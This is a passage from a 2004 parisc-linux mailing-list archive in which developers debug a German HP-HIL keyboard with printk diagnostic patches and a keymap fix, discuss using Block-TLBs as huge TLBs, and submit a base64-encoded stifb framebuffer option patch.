+			printk("HIL_POL_CHARTYPE_ASCII: %d\n", kbd->data[cnt]);
 			input_report_key(dev, kbd->data[cnt++] & 0x7f, 1);
+		}
 		break;
 	case HIL_POL_CHARTYPE_RSVD1:
 	case HIL_POL_CHARTYPE_RSVD2:
 	case HIL_POL_CHARTYPE_BINARY:
-		while (cnt < idx - 1)
+		while (cnt < idx - 1) {
+			printk("HIL_POL_CHARTYPE_BINARY: %d\n", kbd->data[cnt]);
 			input_report_key(dev, kbd->data[cnt++], 1);
+		}
 		break;
 	case HIL_POL_CHARTYPE_SET1:
 		while (cnt < idx - 1) {
@@ -156,6 +160,7 @@ static void hil_kbd_process_record(struc
 			key = kbd->data[cnt++];
 			up = key & HIL_KBD_SET1_UPBIT;
 			key &= (~HIL_KBD_SET1_UPBIT & 0xff);
+			printk("HIL_POL_CHARTYPE_SET1: %d  up:%d\n", key>>HIL_KBD_SET1_SHIFT, up);
 			key = hil_kbd_set1[key >> HIL_KBD_SET1_SHIFT];
 			if (key != KEY_RESERVED)
 				input_report_key(dev, key, !up);
@@ -168,6 +173,7 @@ static void hil_kbd_process_record(struc
 			key = kbd->data[cnt++];
 			up = key & HIL_KBD_SET2_UPBIT;
 			key &= (~HIL_KBD_SET1_UPBIT & 0xff);
+			printk("HIL_POL_CHARTYPE_SET2: %d  up:%d\n", key>>HIL_KBD_SET2_SHIFT, up);
 			key = key >> HIL_KBD_SET2_SHIFT;
 			if (key != KEY_RESERVED)
 				input_report_key(dev, key, !up);
@@ -180,6 +186,7 @@ static void hil_kbd_process_record(struc
 			key = kbd->data[cnt++];
 			up = key & HIL_KBD_SET3_UPBIT;
 			key &= (~HIL_KBD_SET1_UPBIT & 0xff);
+			printk("HIL_POL_CHARTYPE_SET3: %d  up:%d\n", key>>HIL_KBD_SET3_SHIFT, up);
 			key = hil_kbd_set3[key >> HIL_KBD_SET3_SHIFT];
 			if (key != KEY_RESERVED)
 				input_report_key(dev, key, !up);

--Boundary-00=_3YPhBnlonV9ycss
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_3YPhBnlonV9ycss--



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BTLBs usable as HUGHTLBs ?
Date: Sun, 31 Oct 2004 10:33:39 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20041031173339.GB18072@colo.lackof.org>
References: <200410311504.30552.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623586 11628 80.91.229.3 (22 Nov 2014 02:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8130 invoked by uid 65534); 31 Oct 2004 17:33:42 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) (198.49.126.79)
  by mx0.gmx.net (mx040) with SMTP; 31 Oct 2004 18:33:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 73434298143; Sun, 31 Oct 2004 10:33:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18311-04; Sun, 31 Oct 2004 10:33:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7CBAB298144; Sun, 31 Oct 2004 10:33:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200410311504.30552.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22084

On Sun, Oct 31, 2004 at 03:04:30PM +0100, Helge Deller wrote:
> Since HPPA offers Block-TLBs (BTLBs), couldn't those be used
> comparable/wrapped as so-called HUGHTLBs (CONFIG_HUGETLBFS)
> as available on i386/ia64 ?

I think so. But here is one caveat.
IIRC, PDC calls are required to program the BTLB entries. If that's
correct, then they will be SLOW.  On A500, each PCI Cfg write took
20ms when using PAT PDC vs 4us when using direct access. YMMV depending
on platform and how PDC is stored/loaded on that platform. My advice
is to measure some simple PDC call by reading cr16  before/after
the call. Then do the math to see if it's worth it.

AFAIK, BTLB was only intended for things like GFX buffers,
kernel data/text, and similarly long lived mappings.
Is HugeTLBFS generally used that way?

> from /proc/cpuinfo on my 715/64:
> BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
> BTLB fix-entr.  : 0 instruction, 0 data (8 combined)		<--- 8

8*64MB == 512MB
That's not as bad as I thought for a PA1.1 machine.
IIRC, first generation BTLB only has 2 entries.

hth,
grant



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No "#/'" and "<>|" keys with german HIL-keyboard
Date: Sun, 31 Oct 2004 18:35:53 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <200410311835.53401.j.raspe@t-online.de>
References: <200410311421.17271.j.raspe@t-online.de> <200410311527.03160.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623587 11632 80.91.229.3 (22 Nov 2014 02:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29200 invoked by uid 65534); 31 Oct 2004 17:35:58 -0000
Original-Received: from mailout03.sul.t-online.com (EHLO mailout03.sul.t-online.com) (194.25.134.81)
  by mx0.gmx.net (mx021) with SMTP; 31 Oct 2004 18:35:58 +0100
Original-Received: from fwd05.aul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 1COJcT-0006SR-01; Sun, 31 Oct 2004 18:35:57 +0100
Original-Received: from ZEUS.lan.pc (bRDf+yZaret4D9BsnUM3HyCjA9Xf7s95bEkvuueTx7F5CWTMV43HYo@[80.144.96.149]) by fwd05.sul.t-online.com
	with esmtp id 1COJcQ-0uuIWu0; Sun, 31 Oct 2004 18:35:54 +0100
User-Agent: KMail/1.7
In-Reply-To: <200410311527.03160.deller@gmx.de>
Content-Disposition: inline
X-ID: bRDf+yZaret4D9BsnUM3HyCjA9Xf7s95bEkvuueTx7F5CWTMV43HYo
X-TOI-MSGID: 5e687991-a26c-427f-a853-4ae31439cad2
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22085

Hi Helge,

glad to hear that you also maintain the HP-HIL stuff!

Am Sonntag, 31. Oktober 2004 15:27 schrieb Helge Deller:
> Hi Johannes,
>
> On Sunday 31 October 2004 14:21, Johannes Raspe wrote:
> > after successfully moving to kernel 2.6.x-series with great help from
> > Helge Deller I'd like to report a problem wich is also present in
> > 2.4.x-kernels: with my german HIL-keyboerd on a 735/125 the keys for
> > "#/'" (between left shift-key and the "y"-key) and "<>|" (between Return
> > and the german "=E4"-key) give absolutely no response to the OS.
> > I tried "showkey" on a text-console and nothing happens when pressing
> > these two keys. Every other key gives an output.
>
> please apply the following patch and send me the documented console-output
> for the corresponding keys.
>
Output for "<"-key:
HIL_POL_CHARTYPE_SET1: 118

Output for "#"-key:
HIL_POL_CHARTYPE_SET1: 116

Johannes
=2D-=20
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
=46ingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No "#/'" and "<>|" keys with german HIL-keyboard
Date: Sun, 31 Oct 2004 19:20:33 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <200410311920.33777.deller@gmx.de>
References: <200410311421.17271.j.raspe@t-online.de>
	<200410311527.03160.deller@gmx.de>
	<200410311835.53401.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_xzShBLHI9PMAuS2"
X-Trace: ger.gmane.org 1416623587 11633 80.91.229.3 (22 Nov 2014 02:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Johannes Raspe <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1806 invoked by uid 65534); 31 Oct 2004 18:22:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 31 Oct 2004 19:22:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2588B3BC80; Sun, 31 Oct 2004 11:21:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00953-07; Sun, 31 Oct 2004 11:21:46 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2194D3BE49; Sun, 31 Oct 2004 11:21:23 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A40673BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 11:21:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01017-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 11:21:17 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B49C83BE2B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 11:21:00 -0700 (MST)
Original-Received: (qmail 25723 invoked by uid 65534); 31 Oct 2004 18:20:59 -0000
Original-Received: from pD9FE72CD.dip.t-dialin.net (EHLO p100) (217.254.114.205)
	by mail.gmx.net (mp006) with SMTP; 31 Oct 2004 19:20:59 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <200410311835.53401.j.raspe@t-online.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22086

--Boundary-00=_xzShBLHI9PMAuS2
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline

Hi Johannes,

On Sunday 31 October 2004 18:35, Johannes Raspe wrote:
> > On Sunday 31 October 2004 14:21, Johannes Raspe wrote:
> > > after successfully moving to kernel 2.6.x-series with great help from
> > > Helge Deller I'd like to report a problem wich is also present in
> > > 2.4.x-kernels: with my german HIL-keyboerd on a 735/125 the keys for
> > > "#/'" (between left shift-key and the "y"-key) and "<>|" (between Return
> > > and the german ""-key) give absolutely no response to the OS.
> > > I tried "showkey" on a text-console and nothing happens when pressing
> > > these two keys. Every other key gives an output.
> >
> > please apply the following patch and send me the documented console-output
> > for the corresponding keys.
> >
> Output for "<"-key:
> HIL_POL_CHARTYPE_SET1: 118
> 
> Output for "#"-key:
> HIL_POL_CHARTYPE_SET1: 116

please try the attached patch.
Helge

--Boundary-00=_xzShBLHI9PMAuS2
Content-Type: text/plain;
  charset="iso-8859-15";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff"

Index: include/linux/hil.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/hil.h,v
retrieving revision 1.8
diff -u -p -r1.8 hil.h
--- include/linux/hil.h	27 Jan 2004 22:36:57 -0000	1.8
+++ include/linux/hil.h	31 Oct 2004 18:18:50 -0000
@@ -422,7 +422,7 @@ enum hil_command {
    KEY_J,		KEY_K,		KEY_L,		KEY_SEMICOLON,	\
    KEY_APOSTROPHE,	KEY_ENTER,	KEY_HOME,	KEY_PAGEUP,	\
    KEY_M,		KEY_COMMA,	KEY_DOT,	KEY_SLASH,	\
-   KEY_RESERVED,	KEY_SELECT,	KEY_RESERVED,	KEY_PAGEDOWN,	\
+   KEY_BACKSLASH,	KEY_SELECT,	KEY_102ND,	KEY_PAGEDOWN,	\
    KEY_N,		KEY_SPACE,	KEY_NEXT,	KEY_RESERVED,	\
    KEY_LEFT,		KEY_DOWN,	KEY_UP,		KEY_RIGHT
 

--Boundary-00=_xzShBLHI9PMAuS2
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_xzShBLHI9PMAuS2--



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: No keyboard repeat (was: [parisc-linux] No "#/'" and "<>|" keys with german HIL-keyboard)
Date: Sun, 31 Oct 2004 21:25:22 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <200410312125.22181.j.raspe@t-online.de>
References: <200410311421.17271.j.raspe@t-online.de> <200410311835.53401.j.raspe@t-online.de> <200410311920.33777.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623587 11639 80.91.229.3 (22 Nov 2014 02:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17237 invoked by uid 65534); 31 Oct 2004 20:25:30 -0000
Original-Received: from mailout03.sul.t-online.com (EHLO mailout03.sul.t-online.com) (194.25.134.81)
  by mx0.gmx.net (mx056) with SMTP; 31 Oct 2004 21:25:30 +0100
Original-Received: from fwd07.aul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 1COMGW-0003jz-02; Sun, 31 Oct 2004 21:25:28 +0100
Original-Received: from ZEUS.lan.pc (TQSdT4ZZoejAX+fKhih5LEsdNmq0hOmCXwhuEfQzIrgfAbfsIwv2Ez@[80.144.96.149]) by fwd07.sul.t-online.com
	with esmtp id 1COMGQ-1dYXse0; Sun, 31 Oct 2004 21:25:22 +0100
User-Agent: KMail/1.7
In-Reply-To: <200410311920.33777.deller@gmx.de>
Content-Disposition: inline
X-ID: TQSdT4ZZoejAX+fKhih5LEsdNmq0hOmCXwhuEfQzIrgfAbfsIwv2Ez
X-TOI-MSGID: daba08d8-ff84-4358-a272-5abae5fb9391
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22087

Hi Helge,

great work! The keys are working fine now. Many thanks for the fast help! J=
ust=20
one other little problem: the keypresses are not repeated (console and X). =
I=20
tried "kbdrate" but this does nothing.
Is this a kernel related or a configuration problem?

Regards Johannes

Am Sonntag, 31. Oktober 2004 19:20 schrieb Helge Deller:
> On Sunday 31 October 2004 18:35, Johannes Raspe wrote:
> > > On Sunday 31 October 2004 14:21, Johannes Raspe wrote:
> > > > after successfully moving to kernel 2.6.x-series with great help fr=
om
> > > > Helge Deller I'd like to report a problem wich is also present in
> > > > 2.4.x-kernels: with my german HIL-keyboerd on a 735/125 the keys for
> > > > "#/'" (between left shift-key and the "y"-key) and "<>|" (between
> > > > Return and the german "=E4"-key) give absolutely no response to the=
 OS.
> > > > I tried "showkey" on a text-console and nothing happens when pressi=
ng
> > > > these two keys. Every other key gives an output.
> > >
> > > please apply the following patch and send me the documented
> > > console-output for the corresponding keys.
> >
> > Output for "<"-key:
> > HIL_POL_CHARTYPE_SET1: 118
> >
> > Output for "#"-key:
> > HIL_POL_CHARTYPE_SET1: 116
>
> please try the attached patch.
> Helge

=2D-=20
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
=46ingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Penguin color problems on HCRX-24
Date: Sun, 31 Oct 2004 23:20:19 +0100 (CET)
Lines: 77
Approved: news@gmane.org
Message-ID: <34548.127.0.0.1.1099261219.squirrel@127.0.0.1>
References: <200410292228.14940.j.raspe@t-online.de>   
    <200410311406.46194.j.raspe@t-online.de>   
    <200410311456.50753.deller@gmx.de>   
    <200410311506.00662.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_20041031232019_85082"
X-Trace: ger.gmane.org 1416623588 11642 80.91.229.3 (22 Nov 2014 02:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:08 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: "Johannes Raspe" <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <ajwalker@broadpark.no>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32143 invoked by uid 65534); 31 Oct 2004 21:30:21 -0000
Original-Received: from mail.broadpark.no (EHLO mail.broadpark.no) (217.13.4.2)
  by mx0.gmx.net (mx022) with SMTP; 31 Oct 2004 22:30:21 +0100
Original-Received: from tolstoy.puszczka.com (105.80-202-73.nextgentel.com [80.202.73.105])
	by mail.broadpark.no (Postfix) with ESMTP
	id F12613DCF; Sun, 31 Oct 2004 22:30:50 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 44F0E7E35; Sun, 31 Oct 2004 23:20:19 +0100 (CET)
Original-Received: from 127.0.0.1
        (SquirrelMail authenticated user andy);
        by www.puszczka.com with HTTP;
        Sun, 31 Oct 2004 23:20:19 +0100 (CET)
User-Agent: SquirrelMail/1.4.3a
X-Mailer: SquirrelMail/1.4.3a
X-Priority: 3 (Normal)
Importance: Normal
In-Reply-To: <200410311506.00662.j.raspe@t-online.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22088

------=_20041031232019_85082
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Hi all,

Just to report that I'm basically seeing the same things as Johannes with
Helge's patches. I'm still compiling Helge's latest patch and I'll report
back when I've had a chance to test it.

I'd like to submit the patch below to sanitize the stifb=bpp:x:y:z option
handling. The recent patch (by Stuart Brady?) made fb initialization stop
early once the default sti fb was initialized, possibly leaving other fb's
uninitialized. Also the handling of a "global default" bpp was rather
wacky,
and some array index/bounds problems were fixed.

Is initdata guaranteed to be zero'ed? If so then the loop setting all the
elements of stifb_bpp_pref to zero can be dropped. The patch has been
tested with two fb's, switching console fb either by PDC or using the
'sti=' commandline option.

cheers,

-Andy



------=_20041031232019_85082
Content-Type: application/octet-stream; name="stifb.c.awa.ud"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="stifb.c.awa.ud"

LS0tIHN0aWZiLmMub3JpZwkyMDA0LTEwLTMxIDE5OjEyOjUyLjExNDU0ODAwMCArMDEwMAorKysg
c3RpZmIuYwkyMDA0LTEwLTMxIDE5OjI1OjAxLjY0NDU0ODAwMCArMDEwMApAQCAtMTE1LDggKzEx
NSw3IEBACiAJdTMyIHBzZXVkb19wYWxldHRlWzE2XTsKIH07CiAKLXN0YXRpYyBpbnQgX19pbml0
ZGF0YSBicHAgPSA4OwkvKiBwYXJhbWV0ZXIgZnJvbSBtb2Rwcm9iZSAqLwotc3RhdGljIGludCBf
X2luaXRkYXRhIHN0aWZiX2ZvcmNlX2JwcFtNQVhfU1RJX1JPTVNdOworc3RhdGljIGludCBfX2lu
aXRkYXRhIHN0aWZiX2JwcF9wcmVmW01BWF9TVElfUk9NU107CiAKIC8qIC0tLS0tLS0tLS0tLS0t
LS0tLS0gY2hpcHNldCBzcGVjaWZpYyBmdW5jdGlvbnMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0gKi8KIApAQCAtMTE1Niw3ICsxMTU1LDcgQEAKICAqLwogCiBpbnQgX19pbml0Ci1zdGlmYl9p
bml0X2ZiKHN0cnVjdCBzdGlfc3RydWN0ICpzdGksIGludCBmb3JjZV9icHApCitzdGlmYl9pbml0
X2ZiKHN0cnVjdCBzdGlfc3RydWN0ICpzdGksIGludCBicHBfcHJlZikKIHsKIAlzdHJ1Y3QgZmJf
Zml4X3NjcmVlbmluZm8gKmZpeDsKIAlzdHJ1Y3QgZmJfdmFyX3NjcmVlbmluZm8gKnZhcjsKQEAg
LTEyNTksOCArMTI1OCw4IEBACiAjZW5kaWYKIAkJZmItPmRldmljZVNwZWNpZmljQ29uZmlnID0g
X19yYXdfcmVhZGwoc3RpX3JvbV9hZGRyZXNzKTsKIAkJaWYgKElTXzI0X0RFVklDRShmYikpIHsK
LQkJCWlmIChmb3JjZV9icHAgPT0gOCB8fCBmb3JjZV9icHAgPT0gMzIpCi0JCQkJYnBwID0gZm9y
Y2VfYnBwOworCQkJaWYgKGJwcF9wcmVmID09IDggfHwgYnBwX3ByZWYgPT0gMzIpCisJCQkJYnBw
ID0gYnBwX3ByZWY7CiAJCQllbHNlCiAJCQkJYnBwID0gMzI7CiAJCX0gZWxzZQpAQCAtMTQxMCwy
MSArMTQwOSwyNCBAQAogCQogCWRlZl9zdGkgPSBzdGlfZ2V0X3JvbSgwKTsKIAlpZiAoZGVmX3N0
aSkgewotCQlmb3IgKGkgPSAxOyBpIDwgTUFYX1NUSV9ST01TOyBpKyspIHsKKwkJZm9yIChpID0g
MTsgaSA8PSBNQVhfU1RJX1JPTVM7IGkrKykgewogCQkJc3RpID0gc3RpX2dldF9yb20oaSk7Ci0J
CQlpZiAoc3RpID09IGRlZl9zdGkgJiYgYnBwID4gMCkKLQkJCQlzdGlmYl9mb3JjZV9icHBbaV0g
PSBicHA7CisJCQlpZiAoIXN0aSkKKwkJCQlicmVhazsKKwkJCWlmIChzdGkgPT0gZGVmX3N0aSkg
eworCQkJCXN0aWZiX2luaXRfZmIoc3RpLCBzdGlmYl9icHBfcHJlZltpIC0gMV0pOworCQkJCWJy
ZWFrOworCQkJfQogCQl9Ci0JCXN0aWZiX2luaXRfZmIoZGVmX3N0aSwgc3RpZmJfZm9yY2VfYnBw
W2ldKTsKIAl9CiAKLQlmb3IgKGkgPSAxOyBpIDwgTUFYX1NUSV9ST01TOyBpKyspIHsKKwlmb3Ig
KGkgPSAxOyBpIDw9IE1BWF9TVElfUk9NUzsgaSsrKSB7CiAJCXN0aSA9IHN0aV9nZXRfcm9tKGkp
OwotCQlpZiAoIXN0aSB8fCBzdGk9PWRlZl9zdGkpCisJCWlmICghc3RpKQogCQkJYnJlYWs7Ci0J
CWlmIChicHAgPiAwKQotCQkJc3RpZmJfZm9yY2VfYnBwW2ldID0gYnBwOwotCQlzdGlmYl9pbml0
X2ZiKHN0aSwgc3RpZmJfZm9yY2VfYnBwW2ldKTsKKwkJaWYgKHN0aSA9PSBkZWZfc3RpKQorCQkJ
Y29udGludWU7CisJCXN0aWZiX2luaXRfZmIoc3RpLCBzdGlmYl9icHBfcHJlZltpIC0gMV0pOwog
CX0KIAlyZXR1cm4gMDsKIH0KQEAgLTE0MzksNyArMTQ0MSw3IEBACiAJc3RydWN0IHN0aV9zdHJ1
Y3QgKnN0aTsKIAlpbnQgaTsKIAkKLQlmb3IgKGkgPSAxOyBpIDwgTUFYX1NUSV9ST01TOyBpKysp
IHsKKwlmb3IgKGkgPSAxOyBpIDw9IE1BWF9TVElfUk9NUzsgaSsrKSB7CiAJCXN0aSA9IHN0aV9n
ZXRfcm9tKGkpOwogCQlpZiAoIXN0aSkKIAkJCWJyZWFrOwpAQCAtMTQ2OCwxMyArMTQ3MCwxNSBA
QAogCQlvcHRpb25zICs9IDM7CiAJfQogCisJZm9yIChpID0gMDsgaSA8IE1BWF9TVElfUk9NUzsg
aSsrKQorCQlzdGlmYl9icHBfcHJlZltpXSA9IDA7CisKIAlpZiAoc3RybmNtcChvcHRpb25zLCAi
YnBwIiwgMykgPT0gMCkgewogCQlvcHRpb25zICs9IDM7CiAJCWZvciAoaSA9IDA7IGkgPCBNQVhf
U1RJX1JPTVM7IGkrKykgewotCQkJaWYgKCpvcHRpb25zKysgPT0gJzonKSB7Ci0JCQkJc3RpZmJf
Zm9yY2VfYnBwW2ldID0gc2ltcGxlX3N0cnRvdWwob3B0aW9ucywgJm9wdGlvbnMsIDEwKTsKLQkJ
CQlicHAgPSAtMTsKLQkJCX0gZWxzZQorCQkJaWYgKCpvcHRpb25zKysgPT0gJzonKQorCQkJCXN0
aWZiX2JwcF9wcmVmW2ldID0gc2ltcGxlX3N0cnRvdWwob3B0aW9ucywgJm9wdGlvbnMsIDEwKTsK
KwkJCWVsc2UKIAkJCQlicmVhazsKIAkJfQogCX0K
------=_20041031232019_85082--



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
